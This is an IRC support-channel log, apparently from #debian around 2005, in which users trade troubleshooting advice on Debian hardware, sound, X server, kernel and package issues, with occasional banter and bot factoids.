| 12:24.35 | streuner_ | macthebimbo: USB? |
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| 12:25.10 | macthebimbo | streuner: no just paralel port |
| 12:25.34 | damian666 | ok i again :) i just upgraded some days ago to kernel 2.6.12 (on sid), and made a update and upgrade, and now my /dev/dsp and /dev/sound is missing :( any idea what could be wrong (used the same .config file as for kernel 2.6.11 where it ran perfectly) |
| 12:25.36 | streuner_ | macthebimbo: should be easy to configure, just install CUPS |
| 12:26.10 | streuner_ | macthebimbo: /msg dpkg cups |
| 12:26.17 | tralala | damian666: are you using a self compiled kernel? |
| 12:26.59 | damian666 | tralala: yup¨ |
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| 12:27.05 | streuner_ | macthebimbo: /msg dpkg hpinkjet install (for examples using CUPS) |
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| 12:31.02 | mickfp | "/msg dpkg guidelines |
| 12:31.17 | streuner_ | dpkg, guidelines |
| 12:31.18 | dpkg | 1) read the /topic, the FAQ, and google before asking us. (2) Don't ask to ask. Just ask. 3) Don't repeat; show that you have tried to help yourself by refining the question.4) Read docs: (man/info pages, READMEs) is a worthwhile skill. Practice it. 5) Use /msg to talk to the bots. See <msg>. 6) Be polite and patient. 7) Paste on #flood or <paster>, not here. 8) No trolls or spam., if |
| 12:31.28 | soumyadip | jaldhar vyas doesn't look to be around here... hmm... whatever happened to him ? |
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| 12:32.51 | nomed^ | hi |
| 12:32.53 | streuner_ | dpkg, seen vyas |
| 12:32.54 | dpkg | streuner_: i haven't seen 'vyas' |
| 12:33.09 | stew | soumyadip: he's usually in #debian-devel |
| 12:33.19 | simonrvn | !seen jaldhar |
| 12:33.19 | dpkg | jaldhar <~jaldhar@pcp09354467pcs.jersyc01.nj.comcast.net> was last seen on IRC in channel #debian, 46d 20h 17m 39s ago, saying: 'aminorex: oh never mind then. fwiw I've installed sarge under vmware4 in that configuration without problems'. |
| 12:33.37 | simonrvn | under that nick ^^ |
| 12:33.38 | soumyadip | stew: thanks for the tip, looking |
| 12:33.42 | nomed^ | is there any way to make apt dwnloading Source file and not just Source.gz? |
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| 12:34.50 | streuner_ | apt-get -b source packagename? |
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| 12:35.47 | NiklasH_work | hi, anyone got a tip for a good usb 2.0 pci card? |
| 12:36.12 | NiklasH_work | or doesn't it matter which i choose? |
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| 12:36.44 | streuner_ | !tell juanmaway about away |
| 12:36.53 | nomed^ | streuner_, and a way to comfigure apt to dwnl Source and not just Source.gz ? |
| 12:36.55 | D3v1L | NiklasH_work 00:10.0 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 61) |
| 12:37.07 | D3v1L | 00:10.2 USB Controller: VIA Technologies, Inc. USB 2.0 (rev 63) |
| 12:37.11 | D3v1L | same card |
| 12:37.21 | streuner_ | nomed^: what are you trying to do? |
| 12:37.33 | plb | anyone see devils rejects yet? |
| 12:37.38 | NiklasH_work | D3v1L: and you don't need any specific drivers? |
| 12:37.49 | nomed^ | to get sources from a mirror that doesn't provide Source.gz but just Source file .. |
| 12:37.55 | D3v1L | modprobe uhci only ;) |
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| 12:38.00 | jm_ | NiklasH_work: the driver for it is specific, note how it says UHCI? |
| 12:38.15 | D3v1L | modprobe uhci_hcd |
| 12:38.20 | NiklasH_work | D3v1L: yeah, but as long as it's in the kernel i'm good :) |
| 12:38.28 | nomed^ | streuner_, well Sources and Sources.gz .. |
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| 12:39.41 | streuner_ | nomed^: wget? |
| 12:40.14 | D3v1L | u only will need uhci_hcd |
| 12:40.26 | nomed^ | yes i'm using it ... but if there was another way it was better .. |
| 12:40.34 | NiklasH_work | D3v1L: but that's in the kernel, right? |
| 12:40.39 | xoz | ehci-hcd |
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| 12:42.10 | NiklasH_work | yep, it is :) thanks! |
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| 12:42.51 | D3v1L | ehci-hcd in case if u ill use usb2 |
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| 12:44.04 | peterS | NiklasH_work: anyway, afaik, all USB2 cards are about equal |
| 12:44.11 | peterS | NiklasH_work: shouldn't matter much what you get |
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| 12:45.17 | igge | is it possible to use the x vesa driver with 1600x1200 resolution? or do I need a more "native" x driver? |
| 12:45.30 | peterS | igge: I don't think vesa supports 1600x1200, but you can try it and see |
| 12:45.35 | bob2 | I don't know if vesa goes that high |
| 12:45.44 | bob2 | but vesa is pretty arse, regardless |
| 12:45.49 | peterS | yeah |
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| 12:46.30 | Ancillius | hi, i have a strange experience on my system. If I got high CPU load (power Management on max, e.q. showing a movie) my network interface (eth0) works fine. But on low CPU-Load/Load there are almost only errors on eth0 (error/overrun/drops). This could only be power managemt issues cant it? Is it possible to deaktivate Centrino-Power-Management without recompiling the kernel? |
| 12:46.50 | igge | peterS: ok, it doesn't work for me so that's probably the reason then.. |
| 12:47.04 | mxn | I've made the strange decision not to try kernel 2.6 until it reaches the same version as the first 2.4 I used. |
| 12:47.11 | peterS | igge: probably |
| 12:47.37 | peterS | mxn: that is a strange decision. the two kernel trees aren't maintained in *anything* like the same ways |
| 12:47.47 | igge | is there a way I can find out exactly which graphics card I have so I can search for the correct way to set it up? |
| 12:47.55 | peterS | igge: lspci | grep VGA |
| 12:48.06 | mxn | peterS: Indeed. It's a matter of superstition. I *do* have a box I can test 2.6 on. Is it...relatively "stable"? |
| 12:48.31 | igge | aha |
| 12:48.35 | peterS | mxn: kernel 2.6 has been working quite smoothly for me since 2.6.3 or so. a few problems here and there but really, nothing too horrid |
| 12:48.40 | Coke | mxn: on some points even more stable since many things are backported these days. |
| 12:49.02 | Coke | mxn: i.e the main test platform is 2.6 and not 2.4 |
| 12:49.16 | mxn | I may as well give it a shot with sarge and then I might consider going to sid just to see what happens. |
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| 12:49.31 | peterS | mxn: OTOH, I thought kernel 2.4.5 was pretty nice too |
| 12:49.43 | Ancillius | mxn, depends on your system. On old systems there should be no difference. On newer ones if you want full functionality you want 2.6 |
| 12:49.57 | igge | peterS: it says "0000:01:00.0 VGA compatible controller: ATI Technologies Inc: Unknown device 5b60".. so it's an ATI card, but selecting ATI during install didn't work |
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| 12:50.18 | Jacky^ | hi |
| 12:50.20 | mxn | Ancillius: It's fairly new. I've got my server humming with 2.4.28 (the only reason I haven't built .31 is because I'm going for record uptime...sigh) |
| 12:50.34 | mxn | But this other box is just desktop stuff. |
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| 12:50.39 | jm_ | heh what's the record? |
| 12:50.45 | macthebimbo | I get no right to install a printer??? |
| 12:51.10 | mxn | jm_: Not big, compared to *real* servers. 145d in 5 hours. |
| 12:51.27 | jm_ | mxn: ahh I had X running for longer than that |
| 12:51.37 | peterS | igge: pretty new card, then, I guess. kernel 2.6.11's 'radeonfb' framebuffer driver supports it, apparently. |
| 12:51.43 | mxn | jm_: Thing is, it's a desktop box, too. :-) |
| 12:52.27 | Ancillius | these network crap is everything that kills my nerves in 2.6.x but to admit its a realtek card, so ... crappy card and crappy driver. I would say ether side would blame the other... sadly this wont help me in any way. |
| 12:52.57 | jm_ | Ancillius: why don't you try to find some used 3com or Intel card? |
| 12:53.08 | Ancillius | cause its a notebook |
| 12:53.14 | jm_ | doh |
| 12:53.19 | Ancillius | only way would be PCMCIA |
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| 12:53.41 | Ancillius | would be a workaround, but not satisfying :( |
| 12:53.54 | Ancillius | and i am not sure, if this would solve the problem |
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| 12:54.17 | igge | peterS: ok... I have 2.6.8 now, do I need to upgrade the kernel? or what is the best way to get it working? |
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| 12:54.31 | igge | peterS: it works fine with ubuntu and fedora... |
| 12:54.37 | BobW | anyone have ideas regarding two NIC's on the same subnetwork under linux? |
| 12:54.37 | peterS | igge: well, I'm not clear on whether 2.6.8 'radeonfb' supports your chip or not. I'm searching now. |
| 12:54.39 | Ancillius | beacuse if have experiences similar things on the eth1 (ipw2200) interface. So I am not sure to blame the interfaces |
| 12:54.50 | NOthsouth | hello, i'm having problems to isntall HP 3550 printer on debian.. someone have any tip? |
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| 12:54.54 | macthebimbo | Authentication failed (user name=knoppix) |
| 12:54.56 | peterS | igge: anyway, that's if you want to run a pure framebuffer X server. preferably you'd want to run a fully native one |
| 12:55.12 | peterS | igge: I can suggest trying to upgrade to unstable's "xserver-xorg" X server package |
| 12:55.16 | Ancillius | NOthsouth, tried the web interface for CUPS? |
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| 12:56.04 | igge | peterS: ah ok... will try that |
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| 12:56.24 | igge | peterS: ubuntu is based on unstable, right? |
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| 12:56.47 | peterS | igge: ubuntu is based on debian, unstable or testing, with a bunch of their own work. in the case of X drivers, they aren't based on debian much at all |
| 12:56.52 | simplexe | hi |
| 12:57.09 | plb | last I tried unstable everything was broken...xine, vlc, gaim =\ |
| 12:57.15 | igge | peterS: ok |
| 12:57.18 | mxn | Ah, the tedious process of working out wot bits of a kernel I need to compile... |
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| 12:57.32 | peterS | igge: anyway, I am guessing the x.org X server will support your chip, but I haven't verified this. that's the 'xserver-xorg' package, as opposed to 'xserver-xfree86' which you currently have installed |
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| 12:57.51 | igge | peterS: ah.. ok |
| 12:58.00 | simplexe | i'm installing the package of xmms to read mp3 by apt-get install ...,the result is E:couldn't find package |
| 12:58.07 | plb | mxn: make && make modules_install ;] |
| 12:58.09 | jm_ | mxn: no document will be able to cover all the options |
| 12:58.33 | mxn | jm_: But there must be a guide that explains "you will need to look at this and consider this to decide what options to select". |
| 12:58.41 | mxn | *Other* than me pestering a human, that is. :-) |
| 12:58.42 | simplexe | and with dselect i can't get the package ! |
| 12:58.51 | mxn | plb: Yah, I know the technical process fine ;-) |
| 12:58.59 | plb | =P |
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| 12:59.34 | jm_ | mxn: no, but there was some script/tool/whatever that was supposed to help you generate one for your system, who knows how good it is |
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| 13:00.50 | macthebimbo | I don't get it anymore :-( |
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| 13:01.10 | lilliput | hello all |
| 13:01.23 | plb | anyone on unstable now? |
| 13:01.32 | D3v1L | me |
| 13:01.36 | simplexe | how to install a deb in /home/me/ ??? |
| 13:01.38 | plb | D3v1L: is gaim fixed yet? |
| 13:01.57 | plb | i tried a few backs but it was broken |
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| 13:02.14 | mxn | jm_: Fair enough. |
| 13:02.26 | D3v1L | plb im not using gaim, |
| 13:02.34 | plb | ah |
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| 13:02.39 | simplexe | how to install a deb in /home/me/ ??? |
| 13:02.53 | lilliput | I know it's not really the place but I wonder if some of you could test a bot msn: saycurebot@hotmail.com jabber: saycurebot@jabber.fr , this bot is based on alice AI and is part of Turing Machine project |
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| 13:03.37 | mxn | I'm quite interested to see how quickly I can build a 2.6 kernel on this fast machine, actually. |
| 13:04.04 | D3v1L | simplexte have u tried dpkg -i --instdir=/home/me ? |
| 13:04.05 | mxn | This server's kernel is 736K and takes under 10m, I believe |
| 13:04.11 | mxn | Nice and light. |
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| 13:04.39 | plb | hm this stealth movies looks like a pos |
| 13:05.15 | mxn | Seen F4? That's a piece of poo. |
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| 13:05.30 | peterS | what is F4? |
| 13:05.39 | mxn | Fantastic Four, excuse me. |
| 13:05.52 | plb | heh ya i heard it wasn't that good |
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| 13:06.15 | igge | peterS: will the xserver-xorg replace stuff from the xserver-xfree86? |
| 13:06.40 | peterS | igge: I'm not sure what the upgrade path is. you can install the one and remove the other. I don't know for sure if you can have them both installed simultaneously |
| 13:06.42 | damian666 | hmm about my sound problem and missing /dev/dsp, sound is running on my machine when testing it, alsamixer also shows up correctly modules are loaded just the /dev/dsp is missing |
| 13:06.54 | simplexe | D3v1L, yes it runs and after what i have to do ? |
| 13:07.10 | igge | peterS: hm yes aperantly... synaptic wants to remove it... this feels a bit scary |
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| 13:07.26 | igge | peterS: but i'll give it a go I guess... :) |
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| 13:07.28 | plb | they both use the same command startx so i doubt it =\ |
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| 13:07.51 | peterS | plb: startx isn't in the X server package, it's in xutils or xbase-clients or something |
| 13:07.55 | D3v1L | simplexe, the program is now installed in /home/me? |
| 13:08.02 | plb | peterS: ah ok |
| 13:08.17 | macthebimbo | time to go back to windows, linux isn't easy to configure or isn't willing to help |
| 13:08.26 | peterS | plb: yeah, xbase-clients. which gets replaced if you install xorg. |
| 13:08.27 | FieldySnuts | !troll macthebimbo |
| 13:08.28 | simplexe | no D3v1L |
| 13:08.30 | Ronin | have fun macthebimbo |
| 13:08.50 | plb | I'm tempted to try the sarge backport of xorg |
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| 13:09.03 | plb | I'm just wondering if any apps will break |
| 13:09.26 | macthebimbo | fieldysnuts: why troll? an OS has just to do what is needs to do, operate |
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| 13:09.34 | Ronin | and linux does |
| 13:09.36 | FieldySnuts | making my point for us |
| 13:09.40 | FieldySnuts | user error. |
| 13:09.44 | plb | macthebimbo: what exactly is the problem |
| 13:09.55 | Ronin | FieldySnuts: eeoc clear as the rain outside |
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| 13:10.15 | D3v1L | simplexe accordingly with man pages the instdir param install the package in /home/me, |
| 13:10.18 | macthebimbo | pld: I am trying to configure an epson printer, which almost succeeded but |
| 13:10.24 | FieldySnuts | equal employment opportunity commision? are you being oppressed? |
| 13:10.25 | simplexe | D3v1L, in the dselect seems that the package is installed , it's a plugin to read mp3 on xmms , but the xmms still an't read mp3 . |
| 13:10.43 | D3v1L | #dpkg -i --instdir=/home/me package_2.1.2-i86.deb |
| 13:10.44 | Ronin | equipment exceeds operator capability |
| 13:10.53 | macthebimbo | it now asks for a confirmation, a password and now it is saying I have no right to add it to the system |
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| 13:11.04 | D3v1L | um |
| 13:11.08 | plb | heh |
| 13:11.10 | D3v1L | simplexe it is on xmms |
| 13:11.28 | plb | macthebimbo: you are root right? |
| 13:11.36 | D3v1L | open the config panel in xmms and check if the libmp3 (or something like this) is on |
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| 13:12.24 | FieldySnuts | sounds like he is using cups, i thnk you log in as admin user ("admin" ?) and use roots password |
| 13:12.29 | macthebimbo | plb: maybe I selected the wrong option during install, you see, I installed knoppix on the hdd and selected the 'look and feel' of it |
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| 13:12.47 | whisky__ | what port would you expect a US Robotics 56k External Fax *USB* modem to be on ? |
| 13:12.49 | simplexe | D3 xmms-mad_0.8-1_i386 |
| 13:12.51 | macthebimbo | instead of making a user / root account |
| 13:12.54 | FieldySnuts | sigh. this is #debian not #knoppix , we support pure debian. please talk to #knoppix |
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| 13:13.17 | simplexe | D3v1L, xmms-mad_0.8-1_i386 that the pack and i can't see it on the plugin list in xmms |
| 13:13.31 | macthebimbo | knoppix=debian there is no difference |
| 13:13.36 | whisky__ | anyone? |
| 13:13.43 | Ronin | big difference macthebimbo ones not debian the other is |
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| 13:14.02 | mtnman | whisky__: i would expect /dev/ttyS0 or S1 |
| 13:14.14 | plb | D3v1L: can you do a apt-get check gaim for me please? |
| 13:14.23 | mtnman | whisky__: oh, usb, nevermind. |
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| 13:14.29 | FieldySnuts | !based on debian |
| 13:14.29 | dpkg | Knoppix, Libranet, Corel/Xandros, Stormix, Progeny, Lindows, DamnSmallLinux, Ubuntu, Kurumin, Agnula, Xebian, and so on are *not* Debian. Just because something's "based on" Debian doesn't mean we can support it. You'll get a Debian answer, and if it doesn't work, you're out of luck. Your best option is to join the channel for your distro. |
| 13:14.34 | FieldySnuts | dpkg: they don't know |
| 13:14.34 | dpkg | Just because the morons in some OTHER channel don't know the answer to your non-Debian question, it does NOT give you the right to molest US with your problems. Go try Google. |
| 13:14.59 | plb | heh |
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| 13:15.22 | plb | !windows |
| 13:15.22 | dpkg | methinks windows is from memory, windows is a 32 bit shell on a 16 bit patch to an 8 bit operating system, originally designed for a 4 bit microprocessor, made by a 2 bit company that can't stand 1 bit of competition, or if it doesn't work there's this little button called "off" on your computer. praying helps too. es una mierda! :), or not on topic here, or see panic(3) |
| 13:15.33 | plb | ha |
| 13:16.23 | D3v1L | plb yes |
| 13:16.27 | D3v1L | simplexe |
| 13:16.31 | plb | damn |
| 13:17.15 | plb | well at least its down to 1 |
| 13:17.16 | D3v1L | simplexe my mp3plugin is "MPEG Layer 1/2/3 Player 1.2.10 [libmpg123.so]" check if you have libmpg123 |
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| 13:18.04 | D3v1L | plb: apt-get install gaim |
| 13:18.19 | D3v1L | gaim: Depends: libaspell15c2 (>= 0.60) but it is not going to be installed |
| 13:18.26 | D3v1L | Depends: libgtkspell0 (>= 2.0.2) but it is not going to be installed |
| 13:18.33 | plb | damn |
| 13:18.39 | whisky__ | mtnman, :( |
| 13:18.47 | xoz | D3v1L: create a dummy package for that stupid aspell lib |
| 13:19.02 | whisky__ | is there no one who has any idea what port that USB modem would be on? :( |
| 13:19.04 | plb | xoz: he just checked for me actually |
| 13:19.08 | plb | ;] |
| 13:19.17 | plb | he doesn't want gaim |
| 13:19.46 | xoz | plb: ok. gaim dependency on aspell is really stupid |
| 13:19.50 | FieldySnuts | whisky__: if you mean a usb dsl or cable modem, you can generally forget using that in linux. they usually only work in windows. if it has an ethernet interface, you will want to use that. |
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| 13:20.23 | plb | xoz: yes it is |
| 13:20.39 | simplexe | yes D3v1L i have it but in the list to choose the output plugin no |
| 13:20.40 | whisky__ | FieldySnuts, I mean a 56K |
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| 13:20.51 | FieldySnuts | whisky__: oh okay. i'm not sure about that one, sorry |
| 13:21.07 | whisky__ | :s |
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| 13:21.12 | whisky__ | k |
| 13:21.13 | FieldySnuts | I would expect it would work, just not sure myself |
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| 13:21.32 | xoz | plb: my gaim is working after fooling dpkg that the missing lib exists... edit the status file in /var/lib/dpkg/ |
| 13:22.29 | Lee__ | do I have ANY chance of getting acpi sleep working with sarge + fairly recent dell laptop? |
| 13:22.36 | plb | xoz: yeah but gaim was just one of my problems with unstable I still need a video player...xine,vlc, and mplayer(unofficial) were all broken as well |
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| 13:22.54 | plb | perhaps that has changed i dont know |
| 13:22.55 | Bklyn | Is there some problem with the http.us mirrors? |
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| 13:23.04 | Bklyn | I've been having problems upgrading for days now |
| 13:23.11 | xoz | plb: really? only gaim is not working for me. the rests are ok. |
| 13:23.17 | Bklyn | e.g. Failed to fetch http://http.us.debian.org/debian/pool/main/x/xorg-x11/xterm_6.8.2.dfsg.1-4_i386.deb 404 Not Found [IP: 204.152.191.7 80] |
| 13:23.19 | simplexe | D3v1L, seems that my sound card is not working !!! |
| 13:23.29 | D3v1L | simplexe strange, my mpeglib version is 3.3.2-1 and xmms version is 1.2.10+cvs2005... are u sure you have both of them installed? |
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| 13:23.40 | D3v1L | simplexe |
| 13:23.41 | plb | xoz: have you tried mplayer from that unofficial repository? |
| 13:23.47 | simplexe | yes* |
| 13:23.50 | D3v1L | simplexe chmod +777 /dev/dsp |
| 13:23.51 | xoz | plb: yep |
| 13:24.04 | Bklyn | hm, thats mirrors1.kernel.org |
| 13:24.08 | Bklyn | you'd think that would be up-to-date |
| 13:24.12 | xoz | plb: deb http://debian.nsu.ru/mirrors/ftp.nerim.net/debian-marillat unstable main |
| 13:24.12 | plb | xoz: hm when? |
| 13:24.30 | xoz | plb: the other mirror site i think is not updated |
| 13:24.49 | simplexe | D3v1L, i did it |
| 13:25.04 | plb | xoz: hmm |
| 13:25.14 | smhar | is firefox 1.0.6 avalable yet as deb |
| 13:25.30 | plb | xoz: I'm scared to try unstable I want to watch some movies later o_O |
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| 13:26.01 | timo | smhar, it's in SId |
| 13:26.05 | binghe | Anyone who use debian built Mozilla Calendar? Can it work? |
| 13:26.39 | damian666 | hi folks just as information: locate snddevices && sh resultoflocate fixed the problem |
| 13:26.51 | xoz | plb: ive been using sid for a long time and i only encountered breakage rarely. the most serious was initrd |
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| 13:27.10 | smhar | timo, I am trying to keep my system in testing |
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| 13:27.43 | plb | xoz: any dep problems with xine (in case mplayer doesn't work) |
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| 13:28.35 | xoz | plb: i only use mplayer and vlc. mplayer seems to be the best choice |
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| 13:29.21 | Lee__ | is the Internet broken? or is it only MY Internet? |
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| 13:29.29 | plb | xoz: I'll give unstable another try after this download is complete |
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| 13:30.03 | plb | xoz: what exactly in /var/lib/dpkg/ do I have to edit to fix the gaim issue? |
| 13:30.10 | xoz | plb: good luck :) |
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| 13:30.48 | plb | xoz: you make it sound like everything will break o_O |
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| 13:31.43 | Danar | for the past few days, whenever i check there doesn't seem to be any updates... |
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| 13:32.07 | xoz | plb: create a dummy package... just copy the fields of an installed program... then, use a higher version from the version gaim expects... the rests of the field, just create dummy info. look into gaim info in that status file to have an idea. |
| 13:32.25 | Danar | has there been any updates in testing since yesterday? |
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| 13:33.03 | igge | peterS: hello again... hm it didn't work... when I run dpkg-reconfigure xserver-xorg it tries to auto detect my graphics card but the screen just flickers so it doesn't actually to anything |
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| 13:33.49 | xoz | plb: the status file is used by dpkg to check dependency.. if you can create a status info that indicate the missing package is installed, dpkg will install gaim with no complaints. |
| 13:33.56 | Lumination | hey does anybody have an idea of why adding printers in kcontrol and many other options in the printer section might be grayed? |
| 13:34.15 | igge | peterS: and I run discover and it says open_sock(): No such device |
| 13:34.21 | xoz | Lumination: you have to be in administator mode? |
| 13:34.25 | binghe | Danar, I found there's nothin update in ftp.jp.debian.org, a mirror site. |
| 13:34.25 | plb | xoz: ok I'm new to debian but I think I get it ;] |
| 13:34.26 | Lumination | xoz: I am |
| 13:34.38 | peterS | igge: ok that's a bit odd. I don't know how xserver-xorg configures itself exactly |
| 13:34.52 | Lumination | maybe the packages needed for printing are not there, but I do not know the names for the packages... ? |
| 13:35.09 | igge | peterS: where did you find the information where it said my card was supported? |
| 13:35.14 | igge | thought I could have a look there |
| 13:35.51 | maka | olaaaaaaa |
| 13:36.03 | Lumination | what is the name of the cups package? |
| 13:36.10 | Lumination | I think I found the problem: cups isn't installed |
| 13:36.11 | peterS | igge: well, for kernel modules it's easy to find the info, I just used 'modinfo | grep -i 5c60' and it was there, v00001002d00005c60 |
| 13:36.17 | peterS | igge: that is, modinfo radeonfb |
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| 13:36.25 | peterS | igge: for X drivers it's not that simple |
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| 13:37.50 | Danar | fuser -v /dev/dsp |
| 13:37.50 | Danar | /dev/.static/dev: Permission denied |
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| 13:38.01 | Danar | that never used to happen before... |
| 13:38.14 | igge | when I do 'modinfo radeonfb | grep -i 5c60' nothing comes up.. :( |
| 13:38.20 | tralala | Danar: filesystem? |
| 13:38.32 | Danar | tralala: ? |
| 13:38.37 | Danar | tralala: oh. ext3 |
| 13:38.57 | tralala | Danar: and you are root, of course, right? |
| 13:38.58 | peterS | igge: hmm, now I can't remember what your actual PCI ID was. 5c60? 5c61? 5c63? |
| 13:39.16 | Danar | tralala: didn't need to be root before... but i tried anyway, and it gave nothing |
| 13:39.25 | Lumination | dpkg says get "cupsomatic-ppd" but apt-get says there is no installation candidate... is there a different package now? |
| 13:39.26 | dpkg | Lumination: that's too long |
| 13:39.27 | jm_ | Unknown device 5b60 |
| 13:39.29 | peterS | igge: ah, it was 5b60, try that |
| 13:39.38 | Danar | tralala: although i am playing sound... |
| 13:39.46 | Lumination | nm |
| 13:39.47 | Lumination | got it |
| 13:39.56 | peterS | igge: v00001002d00005B60 means vendor 1002 (ATI), device 5b60 (your card). |
| 13:40.38 | tralala | Danar: I'm not sure if alsa uses /dev/dsp - it could be the case that it doesn't |
| 13:40.46 | peterS | tralala: right, it doesn't |
| 13:40.49 | igge | peterS: yes 5b60 it was.. but still nothing... :() |
| 13:41.19 | plb | xoz: wish me luck here i go.......brb |
| 13:41.23 | tralala | Danar: well, there's your answer then - if you play something with alsa dsp is free |
| 13:41.27 | Danar | yeh, apparently it's /dev/snd |
| 13:41.38 | Danar | but fuser still says nothing |
| 13:41.40 | peterS | igge: guess your version of radeonfb doesn't support your chip then. the debian 2.6.11 kernel does. |
| 13:41.41 | Lumination | hey I don't know if you guys want notification of these things, but you might want to change dpkg's "cups setup" to have cupsomatic-ppd replaced by foomatic-filters-ppds and foomatic-filters :) |
| 13:41.43 | zophyx | when totem starts up why is the audio from the speakers at maximum while the audio control shows a minimum setting ? |
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| 13:42.02 | igge | peterS: ok, so trying to upgrade my kernel then... (?) |
| 13:42.08 | peterS | zophyx: totem is confused about audio settings - you can fix it by bumping the volume slider slightly |
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| 13:43.08 | tralala | Danar: snd is a dir |
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| 13:43.14 | rpozo | hi all |
| 13:43.17 | zophyx | peterS: yes, but it is very annoying and needs to fixed |
| 13:43.26 | rpozo | what's the command to see everything that is listening on port 25? |
| 13:43.30 | rpozo | netstat -a 25? |
| 13:43.31 | Danar | tralala: what should i use to determine what's playing sound? |
| 13:43.43 | xoz | rpozo: tcpdump port 25 |
| 13:43.54 | tralala | now *this* is a question |
| 13:43.57 | peterS | zophyx: http://bugs.debian.org/src:totem is the beginning of wisdom |
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| 13:45.49 | tralala | rpozo: (assuming tcp port) netstat -t -l -n | grep 25 |
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| 13:46.09 | klussier | Hey gang |
| 13:46.11 | tralala | xoz: bullshit |
| 13:46.24 | klussier | I am installing Debian on a Dual Xeon 64, which release should I use? |
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| 13:46.33 | xoz | tralala: i know |
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| 13:47.29 | tralala | Danar: maybe fuser -m /dev/snd/ or fuser /dev/snd/ |
| 13:47.32 | peterS | klussier: sarge for amd64. http://www.debian.org/ports/amd64/ |
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| 13:47.55 | tralala | or debian IA64? |
| 13:48.06 | peterS | tralala: no |
| 13:48.15 | Danar | tralala: fuser -m /dev/snd/ gave a bunch of numbers |
| 13:48.20 | peterS | ia64 and amd64 have nothing in common |
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| 13:48.49 | tralala | isn't ia64 for intel server processors? |
| 13:48.50 | klussier | I get a "No CD-ROM driver" problem with sarge 64 |
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| 13:49.04 | peterS | tralala: ia64 is for Intel IA-64 server processors |
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| 13:49.15 | klussier | "No common CD-ROM drive was detected" |
| 13:49.20 | peterS | tralala: xeons are amd64 |
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| 13:49.29 | tralala | ok |
| 13:49.38 | Danar | tralala: PIDs i think. with -mv it lists a bunch of processes, but they are _not_ playing sound. only one app is... |
| 13:49.42 | ducky_ | I did the web server install of debian and it seems to come with mod_negotiation.c compiled in. Is there a way to disable it? |
| 13:50.03 | tralala | Danar: how about without the -m but with the final / |
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| 13:50.08 | ducky_ | mod_negotiation.c in apache2 that is |
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| 13:50.21 | xoz | tralala: better to say no than *bullshit*? to correct info? |
| 13:50.27 | simplexe | hi there |
| 13:50.30 | Danar | tralala: nothin |
| 13:50.57 | simplexe | any one tell me how to install my sound card ?? |
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| 13:51.30 | tralala | Danar: well, for device in /dev/snd/*; do fuser "$device"; done |
| 13:51.35 | igge | peterS: ok, now I have alias: pci:v00001002d00005B60sv*sd*bc*sc*i* when I do modinfo radeonfb | grep -i 5b60 |
| 13:51.43 | Lumination | hey in your experience, what is the best gnutella client? |
| 13:51.44 | igge | so I guess that's a step in the right directoin |
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| 13:51.55 | xoz | Lumination: gtk-gnutell |
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| 13:52.00 | xoz | Lumination: gtk-gnutella |
| 13:52.01 | peterS | igge: right, so you should be able to 'modprobe radeonfb' and something in your life might improve |
| 13:52.01 | tralala | xoz: errr... say again? |
| 13:52.16 | xoz | tralala: *bullshit* :) |
| 13:52.18 | peterS | igge: honestly I'm flying a bit blind here, I don't use kernel framebuffer (fb) modules often |
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| 13:52.25 | tralala | xoz: :) |
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| 13:52.35 | Lumination | xoz: I'm using KDE... is that gonna werk out? |
| 13:52.56 | xoz | Lumination: kde has nothing to do with running any X client. go ahead |
| 13:53.01 | Teufel | so all of a sudden when I try to connect to server with dreamweaver I get a long waiting for server message then an error... wtf? |
| 13:53.02 | igge | peterS: ok... |
| 13:53.10 | Lumination | cool thx |
| 13:53.24 | igge | peterS: modprobe radeonfb flickered my screen.. :) |
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| 13:54.21 | Danar | tralala: /dev/snd/controlC0, /dev/snd/pcmC0D0p, and /dev/snd/timer list the process, but the others list nothing |
| 13:54.25 | tralala | igge: mine too. Can't you just add vga=<something> to your boot parameters or you want to use fb X server? |
| 13:54.33 | simplexe | any iddeas ?? |
| 13:54.34 | mxn | Is it possible to find out what controller my network device eth0 is using? |
| 13:54.42 | aragno | I'm looking to by a small Aopen barebone system to run as a debian server. How do I best go about checking that the parts I want to buy won't case compabilit problems with debian? |
| 13:54.45 | peterS | tralala: he tried xserver-xorg and it didn't appear to work, without a kernel framebuffer |
| 13:54.48 | xoz | mxn: lspci |
| 13:55.11 | peterS | tralala: we determined that his previous kernel didn't support his chip in radeonfb, but his current one does |
| 13:55.12 | stew | mxn: dmesg |
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| 13:55.28 | phlak | anyone know how to mess with the partitions? im using a live-cd for phlak and would like to install it to my second hard drive, i am currently running win98se and have partitions setup for that, that take the whole disc space? |
| 13:55.32 | tralala | Danar: so /dev/snd/pcmC0D0p is your currently used sound device and you already know who's using it |
| 13:55.49 | Danar | tralala: yeh, but there's been times when i didn't |
| 13:56.11 | Danar | tralala: what's pcmC0D0p? |
| 13:56.17 | peterS | Danar: some random ALSA device |
| 13:56.23 | tralala | yep |
| 13:56.34 | tralala | A PCM ALSA random device. |
| 13:56.43 | mxn | stew/xoz: Cheers, I actually have to do somethign else right now, BRB |
| 13:56.52 | Danar | why would it use a random name? |
| 13:57.12 | peterS | Danar: it's not *really* random. by 'random' I meant "I never figured out the alsa device scheme, it's a black box to me" |
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| 13:57.20 | tralala | Danar: I don't think the name is random, it must use some logic I don't know |
| 13:57.24 | simplexe | lspci: 0000:00:06.0 Multimedia audio controller: ALi Corporation M5451 PCI AC-Link Cont roller Audio Device (rev 02) |
| 13:57.24 | simplexe | <PROTECTED> |
| 13:57.25 | Danar | k |
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| 13:57.36 | PerfDave | phlak: If you're running phlak, and wanting to install phlak, why are you saking #debian instead of whatever channel is appropriate for phlak? |
| 13:57.40 | PerfDave | s/saking/asking/ |
| 13:57.40 | peterS | simplexe: that's an i810_audio compatible, I think |
| 13:57.51 | peterS | simplexe: so load the i810_audio module and be happy |
| 13:58.16 | xoz | simplexe: snd_ali5451 |
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| 13:58.19 | hid3_ | Hello everyone.. I wonder why there is no more CONFIG_E100_NAPI option in the kernel since 2.6.12? Was it integrated into E100 driver? Anyone knows anything about it? |
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| 13:58.33 | phlak | it was debian-based, thought maybe i could get some help here, guess i thought wrong, thanks for the help anyways, peace. |
| 13:58.34 | peterS | xoz: oh, does alsa have a separate driver for it? |
| 13:58.36 | PerfDave | hid3_: Read the 2.6.12 changelog? |
| 13:58.46 | PerfDave | phlak: We don't support Debian-based distros here, only Debian GNU/Linux |
| 13:58.49 | ducky_ | I did the default install of Apache2 on a Debian Sarge box and it seem to come with mod_negotiation compiled in and I don't like it. Is there a way to disable it or re-compile apache2 with minimal effort? |
